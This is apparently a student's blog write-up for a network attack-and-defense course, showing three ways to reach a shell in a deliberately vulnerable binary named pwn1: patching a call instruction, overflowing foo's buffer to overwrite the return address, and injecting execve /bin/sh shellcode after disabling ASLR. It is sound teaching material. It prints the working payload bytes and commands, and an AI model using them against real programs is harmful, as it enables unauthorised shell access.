20211913-冯馨茹-2021-2022-2 《网络攻防实践》第九次作业

一、实验内容

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。将使用两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

  • 三个实践内容如下:
    1. 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    2. 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    3. 注入一个自己制作的shellcode并运行这段shellcode。

二、实验步骤

1、手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

下载目标文件pwn1,输入objdump -d pwn1 | more对pwn1文件进行反汇编。

 

 此时输入/getShell可以快速锁定到getShell函数、foo函数和main函数。

可以看到main函数中call 8048491这句汇编指令:是要调用位于地址8048491处的foo函数

这句指令对应的机器指令为e8 d7 ff ff ff,其中:

e8为call指令的机器指令,d7 ff ff ff为call指令要跳转到的地址,此时eip寄存器中的值为下条指令的地址,即80484ba

call指令要跳转到的地址+eip寄存器中的值=call指令所调用的foo函数的地址,即d7 ff ff ff+80484ba=8048491

 

那么想让main函数调用getShell函数,只需将上述等式中foo函数的地址改为getShell函数的地址,call指令对应的机器指令应改为e8 c3 ff ff ff

下面修改可执行文件:首先在终端中输入命令cp pwn1 pwn2语句对pwn1文件进行备份,然后输入vi pwn2对pwn2文件进行修改,此时pwn2源文件显示如下:

 

 按着Esc键同时输入:%!xxd将源文件格式转化为16进制

 

 输入/e8 d7查找要修改的内容

 

 然后分别输入rcr3d7改为c3

 

 输入:%!xxd -r转换16进制为原格式,然后输入:wq保存并退出vi

输入命令objdump -d pwn2 | more ,接着输入命令/getShell快速锁定到getShell函数、foo函数和main函数

此时可以看到call函数调用的已经是getShell函数了

 

 最后运行修改后的可执行文件

 

 可知pwn1文件的功能是显示用户输入的内容,pwn2文件的功能是显示shell功能

2、利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

输入objdump -d pwn1 | more对pwn1文件进行反汇编,该文件正常运行是调用如下的foo函数,但这个函数有Buffer overflow漏洞

 因为kali总是下载不了gdb,查了很久的资料也解决不了,直接重新下载了一个新的kali。。。

输入命令:

apt-get update
apt-get install gdb

安装gdb

输入gdb pwn1对文件进行调试,输入r运行程序

 

 此时输入1111111122222222333333334444444412345678(40字节),程序发生段错误

 

 使用info r命令查看寄存器的值,此时eip寄存器中的值为0x34333231即1234对应的ASCII码

 

 如果想让main函数调用getShell函数,只需将第33-36这四个字节改为 getShell 的内存地址。

确认用什么值覆盖返回地址

之前已经知道getShell的内存地址为0804847d,而且反汇编结果中,机器指令低字节在前、高字节在后,那么输入的字符串应该为

11111111222222223333333344444444\x7d\x84\x04\x08

构造输入字符串:

没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,输入命令perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input,使用输出重定向将perl生成的字符串存储到文件input中。然后输入命令xxd input查看input文件的内容是否如预期。

输入命令(cat input; cat) | ./pwn1,将input的输入,通过管道符“|”,作为pwn1的输入。

 

验证发现已经有getshell了。

3、注入一个自己制作的shellcode并运行这段shellcode。

先输入apt-get install execstack安装execstack。

在管理员权限下,输入命令execstack -s pwn1设置堆栈可执行,然后输入命令execstack -q pwn1查询文件的堆栈是否可执行,输入命令more /proc/sys/kernel/randomize_va_space,输入echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化,最后输入more /proc/sys/kernel/randomize_va_space查询是否关闭地址随机化。

 

构造要注入的payload,输入命令perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode进行注入。

然后在该终端输入命令(cat input_shellcode;cat) | ./pwn1注入这段攻击buf

 然后再重新打开一个终端,输入命令ps -ef | grep pwn1,可以看到pwn1的进程2176。

输入命令gdb pwn1启动gdb

输入attach 2176启动gdb调试这个进程

输入命令disassemble foo进行反汇编,查看到ret的地址为0x080484ae

输入break *0x080484ae0x080484ae处设置断点。在之前的终端中按下回车,然后在调试的终端中输入c继续运行

 

 输入info r esp查看栈顶指针所在的位置,查找地址为查找地址为 x/16x 0xffffd5cc

输入x/16x 0xffffd5cc命令查看其存放内容,看到了0x01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,x/16x 0xffffd5cc+4=0xffffd5d0,所以地址应为0xffffd5d0。

将之前的\x4\x3\x2\x1改为这个地址0xffffd5d0即可,

在终端中输入quit,退出gdb

用命令perl -e 'print "A" x 32;print "\xd0\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode

再输入命令(cat input_shellcode;cat) | ./pwn1执行程序,攻击成功。

 三、学习中遇到的问题及解决

问题一:在第三个实验中,在终端中输入Ctrl+z也无法退出

解决:在gdb中输入quit退出,在另一个终端就自然而然退出了

问题二:kali无法下载gdb

解决:重新下载了一个kali。。。

问题三:新kali中无法下载execstack

解决:同学传了一个execstack安装包,下载到kali中再执行命令sudo apt-get install ./execstack_0.0.20131005-1+b10_amd64.deb后安装成功

 四、实践总结

此次实验学习了如何注入运行任何Shellcode,实验内容偏多,耗时较久,做起来相对之前的要麻烦一点。

posted @ 2022-05-15 14:31  xxxxxr  阅读(77)  评论(0编辑  收藏  举报